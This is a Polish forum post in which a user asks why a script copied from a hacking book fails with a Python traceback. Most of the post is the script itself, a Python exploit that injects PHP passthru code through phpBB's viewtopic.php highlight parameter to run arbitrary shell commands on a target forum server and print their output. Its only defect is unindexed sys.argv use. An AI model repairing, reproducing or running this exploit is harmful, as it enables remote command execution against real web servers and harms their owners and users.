Przepisalem ponizszy kod z ksiazki o hackingu i uruchamiam go ale dostaje takie bledy:
Kod:
File "C:\Documents and Settings\Kacper\Pulpit\Informacje\Python\exploit.py", l
ine 17, in ?
data = urllib.urlopen(url)
File "C:\Python23\lib\urllib.py", line 76, in urlopen
return opener.open(url)
File "C:\Python23\lib\urllib.py", line 154, in open
fullurl = unwrap(toBytes(fullurl))
File "C:\Python23\lib\urllib.py", line 945, in unwrap
url = url.strip()
AttributeError: 'list' object has no attribute 'strip'
Kod:
Kod:
import urllib
import sys
host = sys.argv
numer = sys.argv
komenda = sys.argv
url = host
url += "/viewtopic.php?t="
url += numer
url += "&cmd="
url += urllib.quote("echo POCZATEK; %s; echo KONIEC"%komenda)
url += "&highlight=%2527"
url += urllib.quote(".passthru(@_GET[cmd]).")
url += "%2527"
data = urllib.urlopen(url)
drukuj = 0
for line in data.readlines():
if line.find("KONIEC")!= -1:
drukuj = 0
print "~~~~~~KONIEC~~~~~~"
break
if line.find("POCZATEK")!= -1:
drukuj = 1
print "~~~~~~WYNIK~~~~~~"
continue
if drukuj:
line = line.replace("\n", "")
print line